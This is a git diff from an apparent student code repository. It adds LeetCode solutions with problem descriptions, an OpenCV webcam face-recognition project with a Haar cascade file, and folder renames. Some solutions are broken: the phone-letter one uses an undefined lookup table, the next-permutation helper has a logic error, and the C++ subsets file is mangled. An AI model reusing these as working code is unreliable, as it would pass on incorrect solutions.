b/Leetcode_Solutions/Letter Combinations of a Phone Number/Letter Combinations of a Phone Number.py @@ -0,0 +1,32 @@ +class Solution: + def letterCombinations(self, D: str) -> List[str]: + lenD, ans = len(D), [] + if D == "": return [] + def bfs(pos: int, st: str): + if pos == lenD: ans.append(st) + else: + letters = L[D[pos]] + for letter in letters: + bfs(pos+1,st+letter) + bfs(0,"") + return ans + + +""" +Solution Idea: + +Since each digit can possibly mean one of several characters, you'll need to create code that branches down the different paths as you iterate through the input digit string (D). + +This quite obviously calls for a depth-first search (DFS) approach as you will check each permutation of characters and store them in our answer array (ans). For a DFS approach you can use one of several options, but a recursive solution is generally the cleanest. + +But first, you'll need to set up a lookup table (L) to convert a digit to its possible characters. Since the digits are actually low-indexed integers, you can actually choose between an array or map/dictionary here with little difference. + +For our DFS function (dfs), you'll have to feed it the current position (pos) in D as youll as the string (str) being built. The function will also need to have access to D, L, and ans. + +The DFS function itself is fairly simple. It will push a completed str onto ans, otherwise it will look up the characters that match the current pos, and then fire off new recursive functions down each of those paths. + +Once you're done, you should be ready to return ans. + +You can find solution in multiple languages in the link mentioned below: +https://dev.to/seanpgallivan/solution-letter-combinations-of-a-phone-number-1n91#idea +""" diff --git a/Leetcode_Solutions/Letter Combinations of a Phone Number/readme.md b/Leetcode_Solutions/Letter Combinations of a Phone Number/readme.md new file mode 100644 index 000000000..630ddb04c --- /dev/null +++ b/Leetcode_Solutions/Letter Combinations of a Phone Number/readme.md @@ -0,0 +1,36 @@ +# Letter Combinations of a Phone Number. + +### Difficulty level: Medium + +--- +Given a string containing digits from 2-9 inclusive, return all possible letter combinations that the number could represent. Return the answer in any order. +A mapping of digits to letters (just like on the telephone buttons) is given below. Note that 1 does not map to any letters. + +``` +Example 1: +Input: digits = "23" +Output: ["ad","ae","af","bd","be","bf","cd","ce","cf"] +``` + +``` +Example 2: +Input: digits = "" +Output: [] +``` + +``` +Example 3: +Input: digits = "2" +Output: ["a","b","c"] +``` +--- + +### Constraints: +``` +0 <= digits.length <= 4 +digits[i] is a digit in the range ['2', '9']. +``` +--- + +>Problem link on leet code: + https://leetcode.com/problems/letter-combinations-of-a-phone-number/ diff --git a/Leetcode_Solutions/Longest Common Prefix #14/solution.py b/Leetcode_Solutions/Longest Common Prefix #14/solution.py new file mode 100644 index 000000000..1f2977044 --- /dev/null +++ b/Leetcode_Solutions/Longest Common Prefix #14/solution.py @@ -0,0 +1,23 @@ +def longestCommonPrefix(self, a): + size = len(a) + + # if size is 0, return empty string + if (size == 0): + return "" + + if (size == 1): + return a[0] + + # sort the given strings + a.sort() + + # find the minimum length string + end = min(len(a[0]), len(a[size - 1])) + + # find the common prefix + i = 0 + while (i < end and a[0][i] == a[size - 1][i]): + i += 1 + + ans = a[0][0: i] + return ans \ No newline at end of file diff --git a/Leetcode_Solutions/Median of Two sorted arrays/README.md b/Leetcode_Solutions/Median of Two sorted arrays/README.md new file mode 100644 index 000000000..d8c9741ed --- /dev/null +++ b/Leetcode_Solutions/Median of Two sorted arrays/README.md @@ -0,0 +1,29 @@ +[4. Median of Two Sorted Arrays](https://leetcode.com/problems/median-of-two-sorted-arrays/) + +Difficulty: Hard + +Description: Given two sorted arrays nums1 and nums2 of size m and n respectively, return the median of the two sorted arrays. + +The overall run time complexity should be O(log (m+n)). + + +Example 1: + +Input: nums1 = [1,3], nums2 = [2] +Output: 2.00000 +Explanation: merged array = [1,2,3] and median is 2. +Example 2: + +Input: nums1 = [1,2], nums2 = [3,4] +Output: 2.50000 +Explanation: merged array = [1,2,3,4] and median is (2 + 3) / 2 = 2.5. + + +Constraints: + +nums1.length == m +nums2.length == n +0 <= m <= 1000 +0 <= n <= 1000 +1 <= m + n <= 2000 +-10^6 <= nums1[i], nums2[i] <= 10^6 \ No newline at end of file diff --git a/Leetcode_Solutions/Median of Two sorted arrays/Solution.py b/Leetcode_Solutions/Median of Two sorted arrays/Solution.py new file mode 100644 index 000000000..09da33728 --- /dev/null +++ b/Leetcode_Solutions/Median of Two sorted arrays/Solution.py @@ -0,0 +1,12 @@ +class Solution: + def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float: + for i in range(len(nums2)): + nums1.append(nums2[i]) + nums1.sort() # sort the merged array + length = len(nums1) + half = length//2 + if(length%2 != 0): + return nums1[half] # median is the middle number + else: + mean = (nums1[half] + nums1[half - 1])/2 # median is the avg. of 2 middle numbers + return mean diff --git a/Leetcode_Solutions/NEXT PERMUTATION/NEXT_Permutation.py b/Leetcode_Solutions/NEXT PERMUTATION/NEXT_Permutation.py new file mode 100644 index 000000000..5afad41ff --- /dev/null +++ b/Leetcode_Solutions/NEXT PERMUTATION/NEXT_Permutation.py @@ -0,0 +1,35 @@ +# A permutation of an array of integers is an arrangement of its members into a sequence or linear order. +# The next permutation of an array of integers is the next lexicographically greater permutation of its integer. + + + +class Solution(object): + def nextPermutation(self, nums): + found = False + i = len(nums)-2 + while i >=0: + if nums[i] < nums[i+1]: + found =True + break + i-=1 + if not found: + nums.sort() + else: + m = self.findMaxIndex(i+1,nums,nums[i]) + nums[i],nums[m] = nums[m],nums[i] + nums[i+1:] = nums[i+1:][::-1] + return nums + def findMaxIndex(self,index,a,curr): + ans = -1 + index = 0 + for i in range(index,len(a)): + if a[i]>curr: + if ans == -1: + ans = curr + index = i + else: + ans = min(ans,a[i]) + index = i + return index +ob1 = Solution() +print(ob1.nextPermutation([1,2,5,4,3])) diff --git a/Leetcode_Solutions/Palindrome Number #9/README.md b/Leetcode_Solutions/Palindrome Number #9/README.md new file mode 100644 index 000000000..6edf8c2da --- /dev/null +++ b/Leetcode_Solutions/Palindrome Number #9/README.md @@ -0,0 +1,25 @@ +Given an integer x, return true if x is palindrome integer. + +An integer is a palindrome when it reads the same backward as forward. + +For example, 121 is a palindrome while 123 is not. + +Example 1: + +Input: x = 121 +Output: true +Explanation: 121 reads as 121 from left to right and from right to left. +Example 2: + +Input: x = -121 +Output: false +Explanation: From left to right, it reads -121. From right to left, it becomes 121-. Therefore it is not a palindrome. +Example 3: + +Input: x = 10 +Output: false +Explanation: Reads 01 from right to left. Therefore it is not a palindrome. + +Constraints: + +-231 <= x <= 231 - 1 diff --git a/Leetcode_Solutions/Palindrome Number #9/Solution.py b/Leetcode_Solutions/Palindrome Number #9/Solution.py new file mode 100644 index 000000000..267f94e03 --- /dev/null +++ b/Leetcode_Solutions/Palindrome Number #9/Solution.py @@ -0,0 +1,7 @@ +class Solution: + def isPalindrome(self, x: int) -> bool: + st = str(x) + if(st == st[::-1]): + return True + else: + return False diff --git a/Leetcode_Solutions/Pascal's Triangle/Pascal_triangle.py b/Leetcode_Solutions/Pascal's Triangle/Pascal_triangle.py new file mode 100644 index 000000000..78738c8cb --- /dev/null +++ b/Leetcode_Solutions/Pascal's Triangle/Pascal_triangle.py @@ -0,0 +1,26 @@ +# Pascal’s triangle is a pattern of the triangle which is based on nCr. +# Input: N = 5 +# Output: +# 1 +# 1 1 +# 1 2 1 +# 1 3 3 1 +# 1 4 6 4 1 + + + +n = 5 + +for i in range(1, n+1): + for j in range(0, n-i+1): + print(' ', end='') + + C = 1 + for j in range(1, i+1): + + + print(' ', C, sep='', end='') + + + C = C * (i - j) // j + print() diff --git a/Leetcode_Solutions/Roman to Integer #13/README.md b/Leetcode_Solutions/Roman to Integer #13/README.md new file mode 100644 index 000000000..338387622 --- /dev/null +++ b/Leetcode_Solutions/Roman to Integer #13/README.md @@ -0,0 +1,43 @@ +Roman numerals are represented by seven different symbols: I, V, X, L, C, D and M. + +Symbol Value +I 1 +V 5 +X 10 +L 50 +C 100 +D 500 +M 1000 +For example, 2 is written as II in Roman numeral, just two ones added together. 12 is written as XII, which is simply X + II. The number 27 is written as XXVII, which is XX + V + II. + +Roman numerals are usually written largest to smallest from left to right. However, the numeral for four is not IIII. Instead, the number four is written as IV. Because the one is before the five we subtract it making four. The same principle applies to the number nine, which is written as IX. There are six instances where subtraction is used: + +I can be placed before V (5) and X (10) to make 4 and 9. +X can be placed before L (50) and C (100) to make 40 and 90. +C can be placed before D (500) and M (1000) to make 400 and 900. +Given a roman numeral, convert it to an integer. + + + +Example 1: + +Input: s = "III" +Output: 3 +Explanation: III = 3. +Example 2: + +Input: s = "LVIII" +Output: 58 +Explanation: L = 50, V= 5, III = 3. +Example 3: + +Input: s = "MCMXCIV" +Output: 1994 +Explanation: M = 1000, CM = 900, XC = 90 and IV = 4. + + +Constraints: + +1 <= s.length <= 15 +s contains only the characters ('I', 'V', 'X', 'L', 'C', 'D', 'M'). +It is guaranteed that s is a valid roman numeral in the range [1, 3999]. \ No newline at end of file diff --git a/Leetcode_Solutions/Roman to Integer #13/Solution.py b/Leetcode_Solutions/Roman to Integer #13/Solution.py new file mode 100644 index 000000000..7ad3ec9f6 --- /dev/null +++ b/Leetcode_Solutions/Roman to Integer #13/Solution.py @@ -0,0 +1,10 @@ +class Solution: + def romanToInt(self, s: str) -> int: + lst = {'I': 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 500, 'M': 1000} + cal = 0 + for i in range(len(s)): + if i > 0 and lst[s[i]] > lst[s[i - 1]]: + cal += lst[s[i]] - 2 * lst[s[i - 1]] + else: + cal += lst[s[i]] + return cal diff --git a/Leetcode_Solutions/RomanToInteger/Roman_to_integer.py b/Leetcode_Solutions/RomanToInteger/Roman_to_integer.py new file mode 100644 index 000000000..bce77ebf5 --- /dev/null +++ b/Leetcode_Solutions/RomanToInteger/Roman_to_integer.py @@ -0,0 +1,16 @@ + +def romanToInt(self, s: str) -> int: + maps = {'I' : 1,'V' : 5,'X' : 10, + 'L' : 50,'C' : 100,'D' : 500,'M' : 1000} + sums = 0 + i = 0 + while i < len(s)-1: + if maps[s[i]] < maps[s[i+1]]: + sums += maps[s[i+1]]-maps[s[i]] + i += 1 + else: + sums += maps[s[i]] + i += 1 + if i != len(s): + sums += maps[s[-1]] + return sums diff --git a/Leetcode_Solutions/Subsets b/Leetcode_Solutions/Subsets new file mode 100644 index 000000000..5977a3284 --- /dev/null +++ b/Leetcode_Solutions/Subsets @@ -0,0 +1,47 @@ +#include +using namespace std; +void generate(vector &nums, int i,vector &subset,vector> &res) + { + if(i==nums.size()) + { + res.push_back(subset); + return; + } + else + { + generate(nums,i+1,subset,res); + subset.push_back(nums[i]); + generate(nums,i+1,subset,res); + subset.pop_back(); + } + + } + vector> subsets(vector& nums) { + vector subset; + vector> res; + + generate(nums,0,subset,res); + return res; + + } +int main(){ + + vector nums={1,2,3,4,5}; + + vector> ans = subsets(nums); + + for(int i=0;i List[int]: + nums_dict = {} + for i, num in enumerate(nums): + diff = target - num + if diff in nums_dict: + return [nums_dict[diff], i] + nums_dict[num] = i diff --git a/Leetcode_Solutions/Valid Parentheses/Readme.md b/Leetcode_Solutions/Valid Parentheses/Readme.md new file mode 100644 index 000000000..21b7ea99b --- /dev/null +++ b/Leetcode_Solutions/Valid Parentheses/Readme.md @@ -0,0 +1,27 @@ +Given a string s containing just the characters '(', ')', '{', '}', '[' and ']', determine if the input string is valid. + +An input string is valid if: + +Open brackets must be closed by the same type of brackets. +Open brackets must be closed in the correct order. +Every close bracket has a corresponding open bracket of the same type. + + +Example 1: + +Input: s = "()" +Output: true +Example 2: + +Input: s = "()[]{}" +Output: true +Example 3: + +Input: s = "(]" +Output: false + + +Constraints: + +1 <= s.length <= 104 +s consists of parentheses only '()[]{}'. \ No newline at end of file diff --git a/Leetcode_Solutions/Valid Parentheses/valid_parentheses.py b/Leetcode_Solutions/Valid Parentheses/valid_parentheses.py new file mode 100644 index 000000000..313f0b079 --- /dev/null +++ b/Leetcode_Solutions/Valid Parentheses/valid_parentheses.py @@ -0,0 +1,21 @@ +def isValid(self, s) : + stk = [] + flag = True + for i in range(len(s)): + if s[i] == "(" or s[i] == "{" or s[i] == "[": + stk.append(s[i]) + elif s[i] == ")" or s[i] == "}" or s[i] == "]": + if len(stk) == 0: + flag = False + break + else: + if s[i] == ")" and stk[-1] == "(": + stk.pop() + elif s[i] == "}" and stk[-1] == "{": + stk.pop() + elif s[i] == "]" and stk[-1] == "[": + stk.pop() + else: + flag = False + break + return flag if len(stk) == 0 else False \ No newline at end of file diff --git a/Leetcode_Solutions/Valid Sudoku/README.md b/Leetcode_Solutions/Valid Sudoku/README.md new file mode 100644 index 000000000..68f066d99 --- /dev/null +++ b/Leetcode_Solutions/Valid Sudoku/README.md @@ -0,0 +1,11 @@ +Determine if a 9 x 9 Sudoku board is valid. Only the filled cells need to be validated according to the following rules: + +Each row must contain the digits 1-9 without repetition. +Each column must contain the digits 1-9 without repetition. +Each of the nine 3 x 3 sub-boxes of the grid must contain the digits 1-9 without repetition. + +Constraints: + +board.length == 9 +board[i].length == 9 +board[i][j] is a digit 1-9 or '.'. \ No newline at end of file diff --git a/Leetcode_Solutions/Valid Sudoku/solution.py b/Leetcode_Solutions/Valid Sudoku/solution.py new file mode 100644 index 000000000..a95b5528a --- /dev/null +++ b/Leetcode_Solutions/Valid Sudoku/solution.py @@ -0,0 +1,28 @@ +def is_valid(self, l): + l = [i for i in l if i != '.'] + return len(set(l)) == len(l) + + def is_row_valid(self, board): + for row in board: + if not self.is_valid(row): + return False + return True + + def is_col_valid(self, board): + for col in zip(*board): + if not self.is_valid(col): + return False + return True + + def is_square_valid(self, board): + for i in (0, 3, 6): + for j in (0, 3, 6): + square = [board[x][y] for x in range(i, i + 3) for y in range(j, j + 3)] + if not self.is_valid(square): + return False + return True + + def isValidSudoku(self, board): + return (self.is_row_valid(board) & + self.is_col_valid(board) & + self.is_square_valid(board)) diff --git a/OpenCV projects/Face Recognition/.idea/.gitignore b/OpenCV projects/Face Recognition/.idea/.gitignore new file mode 100644 index 000000000..26d33521a --- /dev/null +++ b/OpenCV projects/Face Recognition/.idea/.gitignore @@ -0,0 +1,3 @@ +# Default ignored files +/shelf/ +/workspace.xml diff --git a/OpenCV projects/Face Recognition/.idea/.name b/OpenCV projects/Face Recognition/.idea/.name new file mode 100644 index 000000000..0bc255d0e --- /dev/null +++ b/OpenCV projects/Face Recognition/.idea/.name @@ -0,0 +1 @@ +facerecog.py \ No newline at end of file diff --git a/OpenCV projects/Face Recognition/.idea/RecognEyes-master.iml b/OpenCV projects/Face Recognition/.idea/RecognEyes-master.iml new file mode 100644 index 000000000..d870a4a7e --- /dev/null +++ b/OpenCV projects/Face Recognition/.idea/RecognEyes-master.iml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/OpenCV projects/Face Recognition/.idea/inspectionProfiles/Project_Default.xml b/OpenCV projects/Face Recognition/.idea/inspectionProfiles/Project_Default.xml new file mode 100644 index 000000000..3c7a35b5e --- /dev/null +++ b/OpenCV projects/Face Recognition/.idea/inspectionProfiles/Project_Default.xml @@ -0,0 +1,43 @@ + + + + \ No newline at end of file diff --git a/OpenCV projects/Face Recognition/.idea/inspectionProfiles/profiles_settings.xml b/OpenCV projects/Face Recognition/.idea/inspectionProfiles/profiles_settings.xml new file mode 100644 index 000000000..105ce2da2 --- /dev/null +++ b/OpenCV projects/Face Recognition/.idea/inspectionProfiles/profiles_settings.xml @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/OpenCV projects/Face Recognition/.idea/misc.xml b/OpenCV projects/Face Recognition/.idea/misc.xml new file mode 100644 index 000000000..ab530bfd3 --- /dev/null +++ b/OpenCV projects/Face Recognition/.idea/misc.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/OpenCV projects/Face Recognition/.idea/modules.xml b/OpenCV projects/Face Recognition/.idea/modules.xml new file mode 100644 index 000000000..94ce7764f --- /dev/null +++ b/OpenCV projects/Face Recognition/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/OpenCV projects/Face Recognition/README.md b/OpenCV projects/Face Recognition/README.md new file mode 100644 index 000000000..d91f83801 --- /dev/null +++ b/OpenCV projects/Face Recognition/README.md @@ -0,0 +1,77 @@ +# Face-Recognizer :sunglasses: +A Face Recogniser which works in real time! + +## Instructions: +1) Make a folder with the name 'people_folder' in the directory of this code and then proceed. +2) Download the HAAR cascade and place it in the same directory. +3) Run pip install opencv-contrib-python from cmd to install the additional features of OpenCV.

+ + +### You get 3 options: + +## 1) Add a new face to the dataset of known people :heavy_exclamation_mark:. + + ### Important: Make a folder with the name 'people_folder' in the directory of this code and then proceed. + Enter the name of the person and press ENTER when ready. + + + A demo of this is shown below :wink:: + + + + ![](https://github.com/junior08/Face-Recognizer/blob/master/add_face.gif)

+ + + + + ### Photos of the person are clicked and then saved in a folder with the person's name as the folder name. + + + ![](https://github.com/junior08/Face-Recognizer/blob/master/added_faces.png) + + + + + +## 2) This option is for live recognition. :smiley: + + + Our recognition system works!! + + + ![](https://github.com/junior08/Face-Recognizer/blob/master/live.gif)

+ + + + +## 3) Finally on pressing 3, the exe file stops and you exit! :v: + + + + + +_______________________________________________________________________________________________________________________________________ + + + +## How does it work :question: + +### 1) It takes in 20 images per face(person). :camera: + + i) Finds the face in the frame using a HAAR cascade.
+ ii) Trims the unnecessary parts of the face.
+ iii) Does histogram equalization and resizes the images to 100 x 100.

+ + These images are saved in a folder with the person's name. + + + + ### 2) For live recognition: :+1: + + i) Creates a LBHP face recogniser and trains it on the existing dataset.
+ ii) Finds faces in live video stream, does the same pre-processing as point 1.
+ iii) Finds the face in our dataset with the closest likeness to the current face within a certain threshold.
+ iv) Displays the face along with the name of the person and draws a rectangle around their face.


+ + +### About LBHP face recognizer :grin:: https://towardsdatascience.com/face-recognition-how-lbph-works-90ec258c3d6b diff --git a/OpenCV projects/Face Recognition/add_face.gif b/OpenCV projects/Face Recognition/add_face.gif new file mode 100644 index 000000000..1282431e8 Binary files /dev/null and b/OpenCV projects/Face Recognition/add_face.gif differ diff --git a/OpenCV projects/Face Recognition/added_faces.png b/OpenCV projects/Face Recognition/added_faces.png new file mode 100644 index 000000000..d2a85d630 Binary files /dev/null and b/OpenCV projects/Face Recognition/added_faces.png differ diff --git a/OpenCV projects/Face Recognition/cgfv.py b/OpenCV projects/Face Recognition/cgfv.py new file mode 100644 index 000000000..5914aa91c --- /dev/null +++ b/OpenCV projects/Face Recognition/cgfv.py @@ -0,0 +1,31 @@ +import tkinter as tk + +parent = tk.Tk() +parent.geometry("300x300") +frame = tk.Frame(parent) +frame.pack() + +name = tk.StringVar() + + +def write_text(): + print(name.get()) + + +inp = tk.Entry(frame, textvariable=name) +inp.pack() + +text_disp = tk.Button(frame, + text="Ok", + command=write_text + ) + +text_disp.pack(side=tk.LEFT) + +exit_button = tk.Button(frame, + text="Exit", + fg="green", + command=quit) +exit_button.pack(side=tk.RIGHT) + +parent.mainloop() diff --git a/OpenCV projects/Face Recognition/facerecog.py b/OpenCV projects/Face Recognition/facerecog.py new file mode 100644 index 000000000..1511a32ea --- /dev/null +++ b/OpenCV projects/Face Recognition/facerecog.py @@ -0,0 +1,173 @@ +import numpy as np +import os +import math +import matplotlib.pyplot as plt +import cv2 +import time # Import all libraries +from gtts import gTTS +import os + +face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml') # Object of face detector + +roi_gray = [] + + +# Remove parts of the sides of the face +# This is done so that the algorithm has to work with only the relevant/ most important part of the image +def cut_faces(image, faces_coord): + faces = [] + + for (x, y, w, h) in faces_coord: # Trims parts of the face + w_rm = int(0.2 * w / 2) + faces.append(image[y: y + h, x + w_rm: x + w - w_rm]) + + return faces # Return co-ordinates of the face + + +# Adds a new person to the dataset and creates a separate folder for them +def add_person(): + person_name = input('What is the name of the new person: ').lower() # Get the name of the new person + + folder = 'people_folder' + '/' + person_name + + if not os.path.exists(folder): # Find the if the data for the given person already exists + input("I will now take 20 pictures. Press ENTER when ready.") + + os.mkdir(folder) # Makes the new folder for saving the photos + + video = cv2.VideoCapture(0) + detector = cv2.CascadeClassifier( + 'haarcascade_frontalface_default.xml') # Loads the HAAR cascade to detect faces + + counter = 1 + timer = 0 + + cv2.namedWindow('Video Feed', cv2.WINDOW_AUTOSIZE) + cv2.namedWindow('Saved Face', cv2.WINDOW_NORMAL) + + while counter < 21: + _, frame = video.read() + + if counter == 1: + time.sleep(6) + else: + time.sleep(1) + + faces = detector.detectMultiScale(frame) # Finding the co-ordinates of all faces in the frame + + if len(faces): # If we have some faces + + cut_face = cut_faces(frame, faces) # Remove the unecessary part of the face + + face_bw = cv2.cvtColor(cut_face[0], cv2.COLOR_BGR2GRAY) + + face_bw_eq = cv2.equalizeHist(face_bw) # Histogram equalization + face_bw_eq = cv2.resize(face_bw_eq, (100, 100), + interpolation=cv2.INTER_CUBIC) # Resizing the image to 100 x 100 pixels + # cv2.imshow('Face Recogniser', face_bw_eq) + + cv2.imwrite(folder + '/' + str(counter) + '.jpg', + face_bw_eq) + print('Images Saved:' + str(counter)) + counter += 1 + cv2.imshow('Saved Face', face_bw_eq) # Display the face that has been saved + + cv2.imshow('Video Feed', frame) + cv2.waitKey(50) + + else: + print("This name already exists.") # If the person already exists + + +# Does the face recognition in real time +# Pressing ESC closes the live recognition +def live(): + cv2.namedWindow('Predicting for') + images = [] + labels = [] + labels_dic = {} + people = [person for person in os.listdir("people_folder")] + threshold = 105 # Threshold for the Face recognizer algorithm/ permissible distance + # from another face + + for i, person in enumerate(people): + print(person) + labels_dic[i] = person + + for image in os.listdir("people_folder/" + person): + images.append(cv2.imread('people_folder/' + person + '/' + image, 0)) + labels.append(i) + + labels = np.array(labels) + + # rec_eig = cv2.face.EigenFaceRecognizer_create() + rec_lbhp = cv2.face.LBPHFaceRecognizer_create() # Creates a LBHP face recognizer object + + rec_lbhp.train(images, labels) # Trains the model + + cv2.namedWindow('face') + webcam = cv2.VideoCapture(0) + while True: + _, frame = webcam.read() + + faces = face_cascade.detectMultiScale(frame, 1.3, 5) # Gets the co-ordinates of the face in the frame + + if len(faces): + cut_face = cut_faces(frame, faces) # Trims the face to feed it to our predictive model + + face = cv2.cvtColor(cut_face[0], cv2.COLOR_BGR2GRAY) + face = cv2.equalizeHist(face) # Histogram Equalization + face = cv2.resize(face, (100, 100), interpolation=cv2.INTER_CUBIC) # Resizes the image of the face + + cv2.imshow('face', face) + + collector = cv2.face.StandardCollector_create() + rec_lbhp.predict_collect(face, collector) + conf = collector.getMinDist() # Finds the face with the closest proximity to our given face + + print('Confidence ', conf) + pred = collector.getMinLabel() + txt = '' + + if conf < threshold: # If a matching face is found + txt = labels_dic[pred].upper() # Get the name of the person + else: + txt = 'Uknown' # If unrecognised, label as Unknown + + cv2.putText(frame, txt, + (faces[0][0], faces[0][1] - 10), + cv2.FONT_HERSHEY_PLAIN, 3, (66, 53, 243), 2) # Puts the text on the current frame + + print(faces) + cv2.rectangle(frame, (faces[0][0], faces[0][1]), (faces[0][0] + faces[0][2], faces[0][1] + faces[0][3]), + (255, 255, 0), 8) # Makes rectangle around face + + cv2.putText(frame, "ESC to exit", (5, frame.shape[0] - 10), + cv2.FONT_HERSHEY_PLAIN, 1.3, (66, 53, 243), 2, cv2.LINE_AA) + + cv2.imshow("Live", frame) # Displays the frame + + if cv2.waitKey(20) & 0xFF == 27: + cv2.destroyAllWindows() + break + + +while True: + print("Hello there please select one of the below") + print('Press 1 for adding a new face') + print('Press 2 for the live recognition') + print('Press 3 to exit') + + choice = int(input()) + + if choice > 3 or choice < 1: + print('Please select a valid choice') + if choice == 1: + add_person() + elif choice == 2: + live() + elif choice == 3: + print('You opted to exit!') + break + + cv2.destroyAllWindows() diff --git a/OpenCV projects/Face Recognition/haarcascade_frontalface_default.xml b/OpenCV projects/Face Recognition/haarcascade_frontalface_default.xml new file mode 100644 index 000000000..3084875fe --- /dev/null +++ b/OpenCV projects/Face Recognition/haarcascade_frontalface_default.xml @@ -0,0 +1,35670 @@ + + + + + 24 24 + + <_> + + + <_> + + <_> + + + + <_>6 4 12 9 -1. + <_>6 7 12 3 3. + 0 + -0.0315119996666908 + 2.0875380039215088 + -2.2172100543975830 + <_> + + <_> + + + + <_>6 4 12 7 -1. + <_>10 4 4 7 3. + 0 + 0.0123960003256798 + -1.8633940219879150 + 1.3272049427032471 + <_> + + <_> + + + + <_>3 9 18 9 -1. + <_>3 12 18 3 3. + 0 + 0.0219279993325472 + -1.5105249881744385 + 1.0625729560852051 + <_> + + <_> + + + + <_>8 18 9 6 -1. + <_>8 20 9 2 3. + 0 + 5.7529998011887074e-003 + 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a/Projects/AI_Volume_adjuster/requirements.txt b/Projects/AI Projects/AI_Volume_adjuster/requirements.txt similarity index 100% rename from Projects/AI_Volume_adjuster/requirements.txt rename to Projects/AI Projects/AI_Volume_adjuster/requirements.txt diff --git a/Projects/Ai Model/README.md b/Projects/AI Projects/Ai Model/README.md similarity index 100% rename from Projects/Ai Model/README.md rename to Projects/AI Projects/Ai Model/README.md diff --git a/Projects/Ai Model/dockerfile b/Projects/AI Projects/Ai Model/dockerfile similarity index 100% rename from Projects/Ai Model/dockerfile rename to Projects/AI Projects/Ai Model/dockerfile diff --git a/Projects/Ai Model/imageclassifier.h5 b/Projects/AI Projects/Ai Model/imageclassifier.h5 old mode 100755 new mode 100644 similarity index 100% rename from Projects/Ai Model/imageclassifier.h5 rename to Projects/AI Projects/Ai Model/imageclassifier.h5 diff --git a/Projects/Ai Model/main.py b/Projects/AI Projects/Ai Model/main.py similarity index 100% rename from Projects/Ai Model/main.py rename to Projects/AI Projects/Ai Model/main.py diff --git a/Projects/Ai Model/requirements.txt b/Projects/AI Projects/Ai Model/requirements.txt similarity index 100% rename from Projects/Ai Model/requirements.txt rename to Projects/AI Projects/Ai Model/requirements.txt diff --git a/Projects/Name_Detector/README.md b/Projects/AI Projects/Name_Detector/README.md similarity index 93% rename from Projects/Name_Detector/README.md rename to Projects/AI Projects/Name_Detector/README.md index 02fcca74b..96e0c157c 100644 --- a/Projects/Name_Detector/README.md +++ b/Projects/AI Projects/Name_Detector/README.md @@ -1,23 +1,23 @@ -# Name detection - -Detect people's names in a given text. - -## Usage - -```py -> python detect_names.py --filepath [filepath] -``` - -### Example - -```py ->>> python detect_names.py --filepath test_file.txt - -Detected names: ['Jack', 'Jill', 'John Smith'] -``` - -``` -test_file.txt - -Jack and Jill went for a walk in New York City, where they met John Smith. -``` +# Name detection + +Detect people's names in a given text. + +## Usage + +```py +> python detect_names.py --filepath [filepath] +``` + +### Example + +```py +>>> python detect_names.py --filepath test_file.txt + +Detected names: ['Jack', 'Jill', 'John Smith'] +``` + +``` +test_file.txt + +Jack and Jill went for a walk in New York City, where they met John Smith. +``` diff --git a/Projects/Name_Detector/detect_names.py b/Projects/AI Projects/Name_Detector/detect_names.py similarity index 95% rename from Projects/Name_Detector/detect_names.py rename to Projects/AI Projects/Name_Detector/detect_names.py index c5deb9ef7..c26f5a2b7 100644 --- a/Projects/Name_Detector/detect_names.py +++ b/Projects/AI Projects/Name_Detector/detect_names.py @@ -1,37 +1,37 @@ -import argparse -import spacy -from typing import List - -nlp = spacy.load("en_core_web_sm") - - -def run(text: str) -> List[str]: - """ - Detect people's names in the input text. - - :param text: the text to process - :return: the detected names - """ - doc = nlp(text) - names = [] - for ent in doc.ents: - if ent.label_ == "PERSON": - names.append(ent.text) - return names - - -if __name__ == "__main__": - parser = argparse.ArgumentParser() - parser.add_argument( - "--filepath", - "-f", - required=True, - help="path to the text file" - ) - args = parser.parse_args() - # Open the text file. - with open(args.filepath, "r") as f: - text = f.read() - # Detect people names in the text. - names = run(text) - print("Detected names: ", names) +import argparse +import spacy +from typing import List + +nlp = spacy.load("en_core_web_sm") + + +def run(text: str) -> List[str]: + """ + Detect people's names in the input text. + + :param text: the text to process + :return: the detected names + """ + doc = nlp(text) + names = [] + for ent in doc.ents: + if ent.label_ == "PERSON": + names.append(ent.text) + return names + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument( + "--filepath", + "-f", + required=True, + help="path to the text file" + ) + args = parser.parse_args() + # Open the text file. + with open(args.filepath, "r") as f: + text = f.read() + # Detect people names in the text. + names = run(text) + print("Detected names: ", names) diff --git a/Projects/Name_Detector/requirements.txt b/Projects/AI Projects/Name_Detector/requirements.txt similarity index 88% rename from Projects/Name_Detector/requirements.txt rename to Projects/AI Projects/Name_Detector/requirements.txt index 75dfc1591..e074b5d28 100644 --- a/Projects/Name_Detector/requirements.txt +++ b/Projects/AI Projects/Name_Detector/requirements.txt @@ -1,2 +1,2 @@ -argparse -spacy +argparse +spacy diff --git a/Projects/Name_Detector/test_file.txt b/Projects/AI Projects/Name_Detector/test_file.txt similarity index 98% rename from Projects/Name_Detector/test_file.txt rename to Projects/AI Projects/Name_Detector/test_file.txt index 6e17572bb..4ae201d22 100644 --- a/Projects/Name_Detector/test_file.txt +++ b/Projects/AI Projects/Name_Detector/test_file.txt @@ -1 +1 @@ -Jack and Jill went for a walk in New York City, where they met John Smith. +Jack and Jill went for a walk in New York City, where they met John Smith. diff --git a/Projects/AI Projects/Worker-safety-detection b/Projects/AI Projects/Worker-safety-detection new file mode 160000 index 000000000..b477234ce --- /dev/null +++ b/Projects/AI Projects/Worker-safety-detection @@ -0,0 +1 @@ +Subproject commit b477234ce2442eef35b4cc23cd1ac64716ffae81 diff --git a/Projects/Book Finder/Book Checker CLI.py b/Projects/API projects/Book Finder/Book Checker CLI.py similarity index 95% rename from Projects/Book Finder/Book Checker CLI.py rename to Projects/API projects/Book Finder/Book Checker CLI.py index 1da298f44..c13114159 100644 --- a/Projects/Book Finder/Book Checker CLI.py +++ b/Projects/API projects/Book Finder/Book Checker CLI.py @@ -1,41 +1,41 @@ -import click -import requests - -__author__ = "TechnoFrost27" - -@click.group() -def main(): - """ - Simple CLI for querying books on Google Books by TechnoFrost27 - """ - pass - -@main.command() -@click.argument('query') -def search(query): - """This search and return results corresponding to the given query from 